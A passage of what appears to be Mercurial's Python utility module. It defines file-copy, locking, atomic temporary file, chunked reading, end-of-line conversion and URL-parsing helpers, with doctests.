     Python's garbage collector triggers a GC each time a certain number of
     container objects (the number being defined by gc.get_threshold()) are
     allocated even when marked not to be tracked by the collector. Tracking has
     no effect on when GCs are triggered, only on what objects the GC looks
     into. As a workaround, disable GC while building complex (huge)
     containers.
 
     This garbage collector issue have been fixed in 2.7. But it still affect
     CPython's performance.
     """
     def wrapper(*args, **kwargs):
         gcenabled = gc.isenabled()
         gc.disable()
         try:
             return func(*args, **kwargs)
         finally:
             if gcenabled:
                 gc.enable()
     return wrapper
 
 if pycompat.ispypy:
     # PyPy runs slower with gc disabled
     nogc = lambda x: x
 
 def pathto(root, n1, n2):
     '''return the relative path from one place to another.
     root should use os.sep to separate directories
     n1 should use os.sep to separate directories
     n2 should use "/" to separate directories
     returns an os.sep-separated path.
 
     If n1 is a relative path, it's assumed it's
     relative to root.
     n2 should always be relative to root.
     '''
     if not n1:
         return localpath(n2)
     if os.path.isabs(n1):
         if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
             return os.path.join(root, localpath(n2))
         n2 = '/'.join((pconvert(root), n2))
     a, b = splitpath(n1), n2.split('/')
     a.reverse()
     b.reverse()
     while a and b and a[-1] == b[-1]:
         a.pop()
         b.pop()
     b.reverse()
     return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
 
 # the location of data files matching the source code
 if procutil.mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
     # executable version (py2exe) doesn't support __file__
     datapath = os.path.dirname(pycompat.sysexecutable)
 else:
     datapath = os.path.dirname(pycompat.fsencode(__file__))
 
 i18n.setdatapath(datapath)
 
 def checksignature(func):
     '''wrap a function with code to check for calling errors'''
     def check(*args, **kwargs):
         try:
             return func(*args, **kwargs)
         except TypeError:
             if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
                 raise error.SignatureError
             raise
 
     return check
 
 # a whilelist of known filesystems where hardlink works reliably
 _hardlinkfswhitelist = {
     'apfs',
     'btrfs',
     'ext2',
     'ext3',
     'ext4',
     'hfs',
     'jfs',
     'NTFS',
     'reiserfs',
     'tmpfs',
     'ufs',
     'xfs',
     'zfs',
 }
 
 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
     '''copy a file, preserving mode and optionally other stat info like
     atime/mtime
 
     checkambig argument is used with filestat, and is useful only if
     destination file is guarded by any lock (e.g. repo.lock or
     repo.wlock).
 
     copystat and checkambig should be exclusive.
     '''
     assert not (copystat and checkambig)
     oldstat = None
     if os.path.lexists(dest):
         if checkambig:
             oldstat = checkambig and filestat.frompath(dest)
         unlink(dest)
     if hardlink:
         # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
         # unless we are confident that dest is on a whitelisted filesystem.
         try:
             fstype = getfstype(os.path.dirname(dest))
         except OSError:
             fstype = None
         if fstype not in _hardlinkfswhitelist:
             hardlink = False
     if hardlink:
         try:
             oslink(src, dest)
             return
         except (IOError, OSError):
             pass # fall back to normal copy
     if os.path.islink(src):
         os.symlink(os.readlink(src), dest)
         # copytime is ignored for symlinks, but in general copytime isn't needed
         # for them anyway
     else:
         try:
             shutil.copyfile(src, dest)
             if copystat:
                 # copystat also copies mode
                 shutil.copystat(src, dest)
             else:
                 shutil.copymode(src, dest)
                 if oldstat and oldstat.stat:
                     newstat = filestat.frompath(dest)
                     if newstat.isambig(oldstat):
                         # stat of copied file is ambiguous to original one
                         advanced = (
                             oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
                         os.utime(dest, (advanced, advanced))
         except shutil.Error as inst:
             raise error.Abort(str(inst))
 
 def copyfiles(src, dst, hardlink=None, progress=None):
     """Copy a directory tree using hardlinks if possible."""
     num = 0
 
     def settopic():
         if progress:
             progress.topic = _('linking') if hardlink else _('copying')
 
     if os.path.isdir(src):
         if hardlink is None:
             hardlink = (os.stat(src).st_dev ==
                         os.stat(os.path.dirname(dst)).st_dev)
         settopic()
         os.mkdir(dst)
         for name, kind in listdir(src):
             srcname = os.path.join(src, name)
             dstname = os.path.join(dst, name)
             hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
             num += n
     else:
         if hardlink is None:
             hardlink = (os.stat(os.path.dirname(src)).st_dev ==
                         os.stat(os.path.dirname(dst)).st_dev)
         settopic()
 
         if hardlink:
             try:
                 oslink(src, dst)
             except (IOError, OSError):
                 hardlink = False
                 shutil.copy(src, dst)
         else:
             shutil.copy(src, dst)
         num += 1
         if progress:
             progress.increment()
 
     return hardlink, num
 
 _winreservednames = {
     'con', 'prn', 'aux', 'nul',
     'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
     'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
 }
 _winreservedchars = ':*?"<>|'
 def checkwinfilename(path):
     r'''Check that the base-relative path is a valid filename on Windows.
     Returns None if the path is ok, or a UI string describing the problem.
 
     >>> checkwinfilename(b"just/a/normal/path")
     >>> checkwinfilename(b"foo/bar/con.xml")
     "filename contains 'con', which is reserved on Windows"
     >>> checkwinfilename(b"foo/con.xml/bar")
     "filename contains 'con', which is reserved on Windows"
     >>> checkwinfilename(b"foo/bar/xml.con")
     >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
     "filename contains 'AUX', which is reserved on Windows"
     >>> checkwinfilename(b"foo/bar/bla:.txt")
     "filename contains ':', which is reserved on Windows"
     >>> checkwinfilename(b"foo/bar/b\07la.txt")
     "filename contains '\\x07', which is invalid on Windows"
     >>> checkwinfilename(b"foo/bar/bla ")
     "filename ends with ' ', which is not allowed on Windows"
     >>> checkwinfilename(b"../bar")
     >>> checkwinfilename(b"foo\\")
     "filename ends with '\\', which is invalid on Windows"
     >>> checkwinfilename(b"foo\\/bar")
     "directory name ends with '\\', which is invalid on Windows"
     '''
     if path.endswith('\\'):
         return _("filename ends with '\\', which is invalid on Windows")
     if '\\/' in path:
         return _("directory name ends with '\\', which is invalid on Windows")
     for n in path.replace('\\', '/').split('/'):
         if not n:
             continue
         for c in _filenamebytestr(n):
             if c in _winreservedchars:
                 return _("filename contains '%s', which is reserved "
                          "on Windows") % c
             if ord(c) <= 31:
                 return _("filename contains '%s', which is invalid "
                          "on Windows") % stringutil.escapestr(c)
         base = n.split('.')[0]
         if base and base.lower() in _winreservednames:
             return _("filename contains '%s', which is reserved "
                      "on Windows") % base
         t = n[-1:]
         if t in '. ' and n not in '..':
             return _("filename ends with '%s', which is not allowed "
                      "on Windows") % t
 
 if pycompat.iswindows:
     checkosfilename = checkwinfilename
     timer = time.clock
 else:
     checkosfilename = platform.checkosfilename
     timer = time.time
 
 if safehasattr(time, "perf_counter"):
     timer = time.perf_counter
 
 def makelock(info, pathname):
     """Create a lock file atomically if possible
 
     This may leave a stale lock file if symlink isn't supported and signal
     interrupt is enabled.
     """
     try:
         return os.symlink(info, pathname)
     except OSError as why:
         if why.errno == errno.EEXIST:
             raise
     except AttributeError: # no symlink in os
         pass
 
     flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
     ld = os.open(pathname, flags)
     os.write(ld, info)
     os.close(ld)
 
 def readlock(pathname):
     try:
         return readlink(pathname)
     except OSError as why:
         if why.errno not in (errno.EINVAL, errno.ENOSYS):
             raise
     except AttributeError: # no symlink in os
         pass
     with posixfile(pathname, 'rb') as fp:
         return fp.read()
 
 def fstat(fp):
     '''stat file object that may not have fileno method.'''
     try:
         return os.fstat(fp.fileno())
     except AttributeError:
         return os.stat(fp.name)
 
 # File system features
 
 def fscasesensitive(path):
     """
     Return true if the given path is on a case-sensitive filesystem
 
     Requires a path (like /foo/.hg) ending with a foldable final
     directory component.
     """
     s1 = os.lstat(path)
     d, b = os.path.split(path)
     b2 = b.upper()
     if b == b2:
         b2 = b.lower()
         if b == b2:
             return True # no evidence against case sensitivity
     p2 = os.path.join(d, b2)
     try:
         s2 = os.lstat(p2)
         if s2 == s1:
             return False
         return True
     except OSError:
         return True
 
 try:
     import re2
     _re2 = None
 except ImportError:
     _re2 = False
 
 class _re(object):
     def _checkre2(self):
         global _re2
         try:
             # check if match works, see issue3964
             _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
         except ImportError:
             _re2 = False
 
     def compile(self, pat, flags=0):
         '''Compile a regular expression, using re2 if possible
 
         For best performance, use only re2-compatible regexp features. The
         only flags from the re module that are re2-compatible are
         IGNORECASE and MULTILINE.'''
         if _re2 is None:
             self._checkre2()
         if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
             if flags & remod.IGNORECASE:
                 pat = '(?i)' + pat
             if flags & remod.MULTILINE:
                 pat = '(?m)' + pat
             try:
                 return re2.compile(pat)
             except re2.error:
                 pass
         return remod.compile(pat, flags)
 
     @propertycache
     def escape(self):
         '''Return the version of escape corresponding to self.compile.
 
         This is imperfect because whether re2 or re is used for a particular
         function depends on the flags, etc, but it's the best we can do.
         '''
         global _re2
         if _re2 is None:
             self._checkre2()
         if _re2:
             return re2.escape
         else:
             return remod.escape
 
 re = _re()
 
 _fspathcache = {}
 def fspath(name, root):
     '''Get name in the case stored in the filesystem
 
     The name should be relative to root, and be normcase-ed for efficiency.
 
     Note that this function is unnecessary, and should not be
     called, for case-sensitive filesystems (simply because it's expensive).
 
     The root should be normcase-ed, too.
     '''
     def _makefspathcacheentry(dir):
         return dict((normcase(n), n) for n in os.listdir(dir))
 
     seps = pycompat.ossep
     if pycompat.osaltsep:
         seps = seps + pycompat.osaltsep
     # Protect backslashes. This gets silly very quickly.
     seps.replace('\\','\\\\')
     pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
     dir = os.path.normpath(root)
     result = []
     for part, sep in pattern.findall(name):
         if sep:
             result.append(sep)
             continue
 
         if dir not in _fspathcache:
             _fspathcache[dir] = _makefspathcacheentry(dir)
         contents = _fspathcache[dir]
 
         found = contents.get(part)
         if not found:
             # retry "once per directory" per "dirstate.walk" which
             # may take place for each patches of "hg qpush", for example
             _fspathcache[dir] = contents = _makefspathcacheentry(dir)
             found = contents.get(part)
 
         result.append(found or part)
         dir = os.path.join(dir, part)
 
     return ''.join(result)
 
 def checknlink(testfile):
     '''check whether hardlink count reporting works properly'''
 
     # testfile may be open, so we need a separate file for checking to
     # work around issue2543 (or testfile may get lost on Samba shares)
     f1, f2, fp = None, None, None
     try:
         fd, f1 = pycompat.mkstemp(prefix='.%s-' % os.path.basename(testfile),
                                   suffix='1~', dir=os.path.dirname(testfile))
         os.close(fd)
         f2 = '%s2~' % f1[:-2]
 
         oslink(f1, f2)
         # nlinks() may behave differently for files on Windows shares if
         # the file is open.
         fp = posixfile(f2)
         return nlinks(f2) > 1
     except OSError:
         return False
     finally:
         if fp is not None:
             fp.close()
         for f in (f1, f2):
             try:
                 if f is not None:
                     os.unlink(f)
             except OSError:
                 pass
 
 def endswithsep(path):
     '''Check path ends with os.sep or os.altsep.'''
     return (path.endswith(pycompat.ossep)
             or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
 
 def splitpath(path):
     '''Split path by os.sep.
     Note that this function does not use os.altsep because this is
     an alternative of simple "xxx.split(os.sep)".
     It is recommended to use os.path.normpath() before using this
     function if need.'''
     return path.split(pycompat.ossep)
 
 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False):
     """Create a temporary file with the same contents from name
 
     The permission bits are copied from the original file.
 
     If the temporary file is going to be truncated immediately, you
     can use emptyok=True as an optimization.
 
     Returns the name of the temporary file.
     """
     d, fn = os.path.split(name)
     fd, temp = pycompat.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
     os.close(fd)
     # Temporary files are created with mode 0600, which is usually not
     # what we want.  If the original file already exists, just copy
     # its mode.  Otherwise, manually obey umask.
     copymode(name, temp, createmode, enforcewritable)
 
     if emptyok:
         return temp
     try:
         try:
             ifp = posixfile(name, "rb")
         except IOError as inst:
             if inst.errno == errno.ENOENT:
                 return temp
             if not getattr(inst, 'filename', None):
                 inst.filename = name
             raise
         ofp = posixfile(temp, "wb")
         for chunk in filechunkiter(ifp):
             ofp.write(chunk)
         ifp.close()
         ofp.close()
     except: # re-raises
         try:
             os.unlink(temp)
         except OSError:
             pass
         raise
     return temp
 
 class filestat(object):
     """help to exactly detect change of a file
 
     'stat' attribute is result of 'os.stat()' if specified 'path'
     exists. Otherwise, it is None. This can avoid preparative
     'exists()' examination on client side of this class.
     """
     def __init__(self, stat):
         self.stat = stat
 
     @classmethod
     def frompath(cls, path):
         try:
             stat = os.stat(path)
         except OSError as err:
             if err.errno != errno.ENOENT:
                 raise
             stat = None
         return cls(stat)
 
     @classmethod
     def fromfp(cls, fp):
         stat = os.fstat(fp.fileno())
         return cls(stat)
 
     __hash__ = object.__hash__
 
     def __eq__(self, old):
         try:
             # if ambiguity between stat of new and old file is
             # avoided, comparison of size, ctime and mtime is enough
             # to exactly detect change of a file regardless of platform
             return (self.stat.st_size == old.stat.st_size and
                     self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] and
                     self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME])
         except AttributeError:
             pass
         try:
             return self.stat is None and old.stat is None
         except AttributeError:
             return False
 
     def isambig(self, old):
         """Examine whether new (= self) stat is ambiguous against old one
 
         "S[N]" below means stat of a file at N-th change:
 
         - S[n-1].ctime  < S[n].ctime: can detect change of a file
         - S[n-1].ctime == S[n].ctime
           - S[n-1].ctime  < S[n].mtime: means natural advancing (*1)
           - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
           - S[n-1].ctime  > S[n].mtime: never occurs naturally (don't care)
         - S[n-1].ctime  > S[n].ctime: never occurs naturally (don't care)
 
         Case (*2) above means that a file was changed twice or more at
         same time in sec (= S[n-1].ctime), and comparison of timestamp
         is ambiguous.
 
         Base idea to avoid such ambiguity is "advance mtime 1 sec, if
         timestamp is ambiguous".
 
         But advancing mtime only in case (*2) doesn't work as
         expected, because naturally advanced S[n].mtime in case (*1)
         might be equal to manually advanced S[n-1 or earlier].mtime.
 
         Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
         treated as ambiguous regardless of mtime, to avoid overlooking
         by confliction between such mtime.
 
         Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
         S[n].mtime", even if size of a file isn't changed.
         """
         try:
             return (self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME])
         except AttributeError:
             return False
 
     def avoidambig(self, path, old):
         """Change file stat of specified path to avoid ambiguity
 
         'old' should be previous filestat of 'path'.
 
         This skips avoiding ambiguity, if a process doesn't have
         appropriate privileges for 'path'. This returns False in this
         case.
 
         Otherwise, this returns True, as "ambiguity is avoided".
         """
         advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7fffffff
         try:
             os.utime(path, (advanced, advanced))
         except OSError as inst:
             if inst.errno == errno.EPERM:
                 # utime() on the file created by another user causes EPERM,
                 # if a process doesn't have appropriate privileges
                 return False
             raise
         return True
 
     def __ne__(self, other):
         return not self == other
 
 class atomictempfile(object):
     '''writable file object that atomically updates a file
 
     All writes will go to a temporary copy of the original file. Call
     close() when you are done writing, and atomictempfile will rename
     the temporary copy to the original name, making the changes
     visible. If the object is destroyed without being closed, all your
     writes are discarded.
 
     checkambig argument of constructor is used with filestat, and is
     useful only if target file is guarded by any lock (e.g. repo.lock
     or repo.wlock).
     '''
     def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
         self.__name = name      # permanent name
         self._tempname = mktempcopy(name, emptyok=('w' in mode),
                                     createmode=createmode,
                                     enforcewritable=('w' in mode))
 
         self._fp = posixfile(self._tempname, mode)
         self._checkambig = checkambig
 
         # delegated methods
         self.read = self._fp.read
         self.write = self._fp.write
         self.seek = self._fp.seek
         self.tell = self._fp.tell
         self.fileno = self._fp.fileno
 
     def close(self):
         if not self._fp.closed:
             self._fp.close()
             filename = localpath(self.__name)
             oldstat = self._checkambig and filestat.frompath(filename)
             if oldstat and oldstat.stat:
                 rename(self._tempname, filename)
                 newstat = filestat.frompath(filename)
                 if newstat.isambig(oldstat):
                     # stat of changed file is ambiguous to original one
                     advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
                     os.utime(filename, (advanced, advanced))
             else:
                 rename(self._tempname, filename)
 
     def discard(self):
         if not self._fp.closed:
             try:
                 os.unlink(self._tempname)
             except OSError:
                 pass
             self._fp.close()
 
     def __del__(self):
         if safehasattr(self, '_fp'): # constructor actually did something
             self.discard()
 
     def __enter__(self):
         return self
 
     def __exit__(self, exctype, excvalue, traceback):
         if exctype is not None:
             self.discard()
         else:
             self.close()
 
 def unlinkpath(f, ignoremissing=False, rmdir=True):
     """unlink and remove the directory if it is empty"""
     if ignoremissing:
         tryunlink(f)
     else:
         unlink(f)
     if rmdir:
         # try removing directories that might now be empty
         try:
             removedirs(os.path.dirname(f))
         except OSError:
             pass
 
 def tryunlink(f):
     """Attempt to remove a file, ignoring ENOENT errors."""
     try:
         unlink(f)
     except OSError as e:
         if e.errno != errno.ENOENT:
             raise
 
 def makedirs(name, mode=None, notindexed=False):
     """recursive directory creation with parent mode inheritance
 
     Newly created directories are marked as "not to be indexed by
     the content indexing service", if ``notindexed`` is specified
     for "write" mode access.
     """
     try:
         makedir(name, notindexed)
     except OSError as err:
         if err.errno == errno.EEXIST:
             return
         if err.errno != errno.ENOENT or not name:
             raise
         parent = os.path.dirname(os.path.abspath(name))
         if parent == name:
             raise
         makedirs(parent, mode, notindexed)
         try:
             makedir(name, notindexed)
         except OSError as err:
             # Catch EEXIST to handle races
             if err.errno == errno.EEXIST:
                 return
             raise
     if mode is not None:
         os.chmod(name, mode)
 
 def readfile(path):
     with open(path, 'rb') as fp:
         return fp.read()
 
 def writefile(path, text):
     with open(path, 'wb') as fp:
         fp.write(text)
 
 def appendfile(path, text):
     with open(path, 'ab') as fp:
         fp.write(text)
 
 class chunkbuffer(object):
     """Allow arbitrary sized chunks of data to be efficiently read from an
     iterator over chunks of arbitrary size."""
 
     def __init__(self, in_iter):
         """in_iter is the iterator that's iterating over the input chunks."""
         def splitbig(chunks):
             for chunk in chunks:
                 if len(chunk) > 2**20:
                     pos = 0
                     while pos < len(chunk):
                         end = pos + 2 ** 18
                         yield chunk[pos:end]
                         pos = end
                 else:
                     yield chunk
         self.iter = splitbig(in_iter)
         self._queue = collections.deque()
         self._chunkoffset = 0
 
     def read(self, l=None):
         """Read L bytes of data from the iterator of chunks of data.
         Returns less than L bytes if the iterator runs dry.
 
         If size parameter is omitted, read everything"""
         if l is None:
             return ''.join(self.iter)
 
         left = l
         buf = []
         queue = self._queue
         while left > 0:
             # refill the queue
             if not queue:
                 target = 2**18
                 for chunk in self.iter:
                     queue.append(chunk)
                     target -= len(chunk)
                     if target <= 0:
                         break
                 if not queue:
                     break
 
             # The easy way to do this would be to queue.popleft(), modify the
             # chunk (if necessary), then queue.appendleft(). However, for cases
             # where we read partial chunk content, this incurs 2 dequeue
             # mutations and creates a new str for the remaining chunk in the
             # queue. Our code below avoids this overhead.
 
             chunk = queue[0]
             chunkl = len(chunk)
             offset = self._chunkoffset
 
             # Use full chunk.
             if offset == 0 and left >= chunkl:
                 left -= chunkl
                 queue.popleft()
                 buf.append(chunk)
                 # self._chunkoffset remains at 0.
                 continue
 
             chunkremaining = chunkl - offset
 
             # Use all of unconsumed part of chunk.
             if left >= chunkremaining:
                 left -= chunkremaining
                 queue.popleft()
                 # offset == 0 is enabled by block above, so this won't merely
                 # copy via ``chunk[0:]``.
                 buf.append(chunk[offset:])
                 self._chunkoffset = 0
 
             # Partial chunk needed.
             else:
                 buf.append(chunk[offset:offset + left])
                 self._chunkoffset += left
                 left -= chunkremaining
 
         return ''.join(buf)
 
 def filechunkiter(f, size=131072, limit=None):
     """Create a generator that produces the data in the file size
     (default 131072) bytes at a time, up to optional limit (default is
     to read all data).  Chunks may be less than size bytes if the
     chunk is the last chunk in the file, or the file is a socket or
     some other type of file that sometimes reads less data than is
     requested."""
     assert size >= 0
     assert limit is None or limit >= 0
     while True:
         if limit is None:
             nbytes = size
         else:
             nbytes = min(limit, size)
         s = nbytes and f.read(nbytes)
         if not s:
             break
         if limit:
             limit -= len(s)
         yield s
 
 class cappedreader(object):
     """A file object proxy that allows reading up to N bytes.
 
     Given a source file object, instances of this type allow reading up to
     N bytes from that source file object. Attempts to read past the allowed
     limit are treated as EOF.
 
     It is assumed that I/O is not performed on the original file object
     in addition to I/O that is performed by this instance. If there is,
     state tracking will get out of sync and unexpected results will ensue.
     """
     def __init__(self, fh, limit):
         """Allow reading up to <limit> bytes from <fh>."""
         self._fh = fh
         self._left = limit
 
     def read(self, n=-1):
         if not self._left:
             return b''
 
         if n < 0:
             n = self._left
 
         data = self._fh.read(min(n, self._left))
         self._left -= len(data)
         assert self._left >= 0
 
         return data
 
     def readinto(self, b):
         res = self.read(len(b))
         if res is None:
             return None
 
         b[0:len(res)] = res
         return len(res)
 
 def unitcountfn(*unittable):
     '''return a function that renders a readable count of some quantity'''
 
     def go(count):
         for multiplier, divisor, format in unittable:
             if abs(count) >= divisor * multiplier:
                 return format % (count / float(divisor))
         return unittable[-1][2] % count
 
     return go
 
 def processlinerange(fromline, toline):
     """Check that linerange <fromline>:<toline> makes sense and return a
     0-based range.
 
     >>> processlinerange(10, 20)
     (9, 20)
     >>> processlinerange(2, 1)
     Traceback (most recent call last):
         ...
     ParseError: line range must be positive
     >>> processlinerange(0, 5)
     Traceback (most recent call last):
         ...
     ParseError: fromline must be strictly positive
     """
     if toline - fromline < 0:
         raise error.ParseError(_("line range must be positive"))
     if fromline < 1:
         raise error.ParseError(_("fromline must be strictly positive"))
     return fromline - 1, toline
 
 bytecount = unitcountfn(
     (100, 1 << 30, _('%.0f GB')),
     (10, 1 << 30, _('%.1f GB')),
     (1, 1 << 30, _('%.2f GB')),
     (100, 1 << 20, _('%.0f MB')),
     (10, 1 << 20, _('%.1f MB')),
     (1, 1 << 20, _('%.2f MB')),
     (100, 1 << 10, _('%.0f KB')),
     (10, 1 << 10, _('%.1f KB')),
     (1, 1 << 10, _('%.2f KB')),
     (1, 1, _('%.0f bytes')),
     )
 
 class transformingwriter(object):
     """Writable file wrapper to transform data by function"""
 
     def __init__(self, fp, encode):
         self._fp = fp
         self._encode = encode
 
     def close(self):
         self._fp.close()
 
     def flush(self):
         self._fp.flush()
 
     def write(self, data):
         return self._fp.write(self._encode(data))
 
 # Matches a single EOL which can either be a CRLF where repeated CR
 # are removed or a LF. We do not care about old Macintosh files, so a
 # stray CR is an error.
 _eolre = remod.compile(br'\r*\n')
 
 def tolf(s):
     return _eolre.sub('\n', s)
 
 def tocrlf(s):
     return _eolre.sub('\r\n', s)
 
 def _crlfwriter(fp):
     return transformingwriter(fp, tocrlf)
 
 if pycompat.oslinesep == '\r\n':
     tonativeeol = tocrlf
     fromnativeeol = tolf
     nativeeolwriter = _crlfwriter
 else:
     tonativeeol = pycompat.identity
     fromnativeeol = pycompat.identity
     nativeeolwriter = pycompat.identity
 
 if (pyplatform.python_implementation() == 'CPython' and
     sys.version_info < (3, 0)):
     # There is an issue in CPython that some IO methods do not handle EINTR
     # correctly. The following table shows what CPython version (and functions)
     # are affected (buggy: has the EINTR bug, okay: otherwise):
     #
     #                | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
     #   --------------------------------------------------
     #    fp.__iter__ | buggy   | buggy           | okay
     #    fp.read*    | buggy   | okay [1]        | okay
     #
     # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
     #
     # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
     # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
     #
     # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
     # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
     # CPython 2, because CPython 2 maintains an internal readahead buffer for
     # fp.__iter__ but not other fp.read* methods.
     #
     # On modern systems like Linux, the "read" syscall cannot be interrupted
     # when reading "fast" files like on-disk files. So the EINTR issue only
     # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
     # files approximately as "fast" files and use the fast (unsafe) code path,
     # to minimize the performance impact.
     if sys.version_info >= (2, 7, 4):
         # fp.readline deals with EINTR correctly, use it as a workaround.
         def _safeiterfile(fp):
             return iter(fp.readline, '')
     else:
         # fp.read* are broken too, manually deal with EINTR in a stupid way.
         # note: this may block longer than necessary because of bufsize.
         def _safeiterfile(fp, bufsize=4096):
             fd = fp.fileno()
             line = ''
             while True:
                 try:
                     buf = os.read(fd, bufsize)
                 except OSError as ex:
                     # os.read only raises EINTR before any data is read
                     if ex.errno == errno.EINTR:
                         continue
                     else:
                         raise
                 line += buf
                 if '\n' in buf:
                     splitted = line.splitlines(True)
                     line = ''
                     for l in splitted:
                         if l[-1] == '\n':
                             yield l
                         else:
                             line = l
                 if not buf:
                     break
             if line:
                 yield line
 
     def iterfile(fp):
         fastpath = True
         if type(fp) is file:
             fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
         if fastpath:
             return fp
         else:
             return _safeiterfile(fp)
 else:
     # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
     def iterfile(fp):
         return fp
 
 def iterlines(iterator):
     for chunk in iterator:
         for line in chunk.splitlines():
             yield line
 
 def expandpath(path):
     return os.path.expanduser(os.path.expandvars(path))
 
 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
     """Return the result of interpolating items in the mapping into string s.
 
     prefix is a single character string, or a two character string with
     a backslash as the first character if the prefix needs to be escaped in
     a regular expression.
 
     fn is an optional function that will be applied to the replacement text
     just before replacement.
 
     escape_prefix is an optional flag that allows using doubled prefix for
     its escaping.
     """
     fn = fn or (lambda s: s)
     patterns = '|'.join(mapping.keys())
     if escape_prefix:
         patterns += '|' + prefix
         if len(prefix) > 1:
             prefix_char = prefix[1:]
         else:
             prefix_char = prefix
         mapping[prefix_char] = prefix_char
     r = remod.compile(br'%s(%s)' % (prefix, patterns))
     return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
 
 def getport(port):
     """Return the port for a given network service.
 
     If port is an integer, it's returned as is. If it's a string, it's
     looked up using socket.getservbyname(). If there's no matching
     service, error.Abort is raised.
     """
     try:
         return int(port)
     except ValueError:
         pass
 
     try:
         return socket.getservbyname(pycompat.sysstr(port))
     except socket.error:
         raise error.Abort(_("no port number associated with service '%s'")
                           % port)
 
 class url(object):
     r"""Reliable URL parser.
 
     This parses URLs and provides attributes for the following
     components:
 
     <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
 
     Missing components are set to None. The only exception is
     fragment, which is set to '' if present but empty.
 
     If parsefragment is False, fragment is included in query. If
     parsequery is False, query is included in path. If both are
     False, both fragment and query are included in path.
 
     See http://www.ietf.org/rfc/rfc2396.txt for more information.
 
     Note that for backward compatibility reasons, bundle URLs do not
     take host names. That means 'bundle://../' has a path of '../'.
 
     Examples:
 
     >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
     <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
     >>> url(b'ssh://[::1]:2200//home/joe/repo')
     <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
     >>> url(b'file:///home/joe/repo')
     <url scheme: 'file', path: '/home/joe/repo'>
     >>> url(b'file:///c:/temp/foo/')
     <url scheme: 'file', path: 'c:/temp/foo/'>
     >>> url(b'bundle:foo')
     <url scheme: 'bundle', path: 'foo'>
     >>> url(b'bundle://../foo')
     <url scheme: 'bundle', path: '../foo'>
     >>> url(br'c:\foo\bar')
     <url path: 'c:\\foo\\bar'>
     >>> url(br'\\blah\blah\blah')
     <url path: '\\\\blah\\blah\\blah'>
     >>> url(br'\\blah\blah\blah#baz')
     <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
     >>> url(br'file:///C:\users\me')
     <url scheme: 'file', path: 'C:\\users\\me'>
 
     Authentication credentials:
 
     >>> url(b'ssh://joe:xyz@x/repo')
     <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
     >>> url(b'ssh://joe@x/repo')
     <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
 
     Query strings and fragments:
 
     >>> url(b'http://host/a?b#c')
     <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
     >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
     <url scheme: 'http', host: 'host', path: 'a?b#c'>
 
     Empty path:
 
     >>> url(b'')
     <url path: ''>
     >>> url(b'#a')
     <url path: '', fragment: 'a'>
     >>> url(b'http://host/')
     <url scheme: 'http', host: 'host', path: ''>
     >>> url(b'http://host/#a')
     <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
 
     Only scheme:
 
     >>> url(b'http:')
     <url scheme: 'http'>
     """
 
     _safechars = "!~*'()+"
     _safepchars = "/!~*'()+:\\"
     _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
 
     def __init__(self, path, parsequery=True, parsefragment=True):
         # We slowly chomp away at path until we have only the path left
         self.scheme = self.user = self.passwd = self.host = None
         self.port = self.path = self.query = self.fragment = None
         self._localpath = True
         self._hostport = ''
         self._origpath = path
 
         if parsefragment and '#' in path:
             path, self.fragment = path.split('#', 1)
 
         # special case for Windows drive letters and UNC paths
         if hasdriveletter(path) or path.startswith('\\\\'):
             self.path = path
             return
 
         # For compatibility reasons, we can't handle bundle paths as
         # normal URLS
         if path.startswith('bundle:'):
             self.scheme = 'bundle'
             path = path[7:]
             if path.startswith('//'):
                 path = path[2:]
             self.path = path
             return
 
         if self._matchscheme(path):
             parts = path.split(':', 1)
             if parts[0]:
                 self.scheme, path = parts
                 self._localpath = False
 
         if not path:
             path = None
             if self._localpath:
                 self.path = ''
                 return
         else:
             if self._localpath:
